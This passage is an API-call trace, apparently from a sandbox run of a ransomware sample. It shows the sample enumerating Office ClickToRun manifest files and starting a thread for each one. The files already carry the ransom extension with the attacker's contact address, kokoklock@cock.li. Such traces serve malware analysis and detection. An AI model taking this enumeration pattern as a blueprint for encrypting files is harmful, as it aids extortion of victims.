(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0173.945] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85d7fffb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xafedc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2EEFD~1.D0E")) returned 1 [0173.945] wcscmp (_String1="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.945] wcscmp (_String1="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2f92f28 [0173.945] wcscpy (in: _Dest=0x2f92f28, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.945] wcscat (in: _Dest=0x2f92f28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.945] wcscat (in: _Dest=0x2f92f28, _Source="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0173.946] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85da626f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x19664, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2CE97~1.D0E")) returned 1 [0173.946] wcscmp (_String1="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.946] wcscmp (_String1="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.946] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2faba08 [0173.946] wcscpy (in: _Dest=0x2faba08, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.946] wcscat (in: _Dest=0x2faba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.946] wcscat (in: _Dest=0x2faba08, _Source="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faba08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0173.947] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85dcc4a7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x695e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C243E9~1.D0E")) returned 1 [0173.947] wcscmp (_String1="C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.947] wcscmp (_String1="C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.947] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2fabb68 [0173.947] wcscpy (in: _Dest=0x2fabb68, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.947] wcscat (in: _Dest=0x2fabb68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.947] wcscat (in: _Dest=0x2fabb68, _Source="C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabb68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0173.948] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x85df2711, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7506, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2B907~1.D0E")) returned 1 [0173.948] wcscmp (_String1="C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.948] wcscmp (_String1="C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.948] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2fabca8 [0173.948] wcscpy (in: _Dest=0x2fabca8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.948] wcscat (in: _Dest=0x2fabca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.948] wcscat (in: _Dest=0x2fabca8, _Source="C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914 [0173.949] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x85eb1226, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x815e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C213FB~1.D0E")) returned 1 [0173.949] wcscmp (_String1="C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.949] wcscmp (_String1="C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.949] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x130) returned 0x3045d98 [0173.949] wcscpy (in: _Dest=0x3045d98, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.949] wcscat (in: _Dest=0x3045d98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.949] wcscat (in: _Dest=0x3045d98, _Source="C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0173.950] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85e8b2ef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x646e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C276CE~1.D0E")) returned 1 [0173.950] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.950] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2fabe00 [0173.950] wcscpy (in: _Dest=0x2fabe00, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.950] wcscat (in: _Dest=0x2fabe00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.950] wcscat (in: _Dest=0x2fabe00, _Source="C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabe00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0173.950] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85ed7525, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x60ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C245D8~1.D0E")) returned 1 [0173.951] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.951] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2fabf40 [0173.951] wcscpy (in: _Dest=0x2fabf40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.951] wcscat (in: _Dest=0x2fabf40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.951] wcscat (in: _Dest=0x2fabf40, _Source="C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731" [0173.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabf40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0173.951] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85f23a8e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x60ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C235ED~1.D0E")) returned 1 [0173.951] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.951] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x4f0b880 [0173.952] wcscpy (in: _Dest=0x4f0b880, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.952] wcscat (in: _Dest=0x4f0b880, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.952] wcscat (in: _Dest=0x4f0b880, _Source="C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731" [0173.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0173.952] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85f49be3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C22A91~1.D0E")) returned 1 [0173.952] wcscmp (_String1="C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.952] wcscmp (_String1="C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12c) returned 0x3045c60 [0173.953] wcscpy (in: _Dest=0x3045c60, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.953] wcscat (in: _Dest=0x3045c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.953] wcscat (in: _Dest=0x3045c60, _Source="C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0173.953] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85f6fe54, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C21B63~1.D0E")) returned 1 [0173.953] wcscmp (_String1="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.953] wcscmp (_String1="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.953] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x4f0b9c0 [0173.953] wcscpy (in: _Dest=0x4f0b9c0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.953] wcscat (in: _Dest=0x4f0b9c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.953] wcscat (in: _Dest=0x4f0b9c0, _Source="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b9c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0173.954] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85fbc3e9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C20E18~1.D0E")) returned 1 [0173.954] wcscmp (_String1="C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.954] wcscmp (_String1="C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.954] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x134) returned 0x4f0bb20 [0173.954] wcscpy (in: _Dest=0x4f0bb20, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.954] wcscat (in: _Dest=0x4f0bb20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.954] wcscat (in: _Dest=0x4f0bb20, _Source="C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 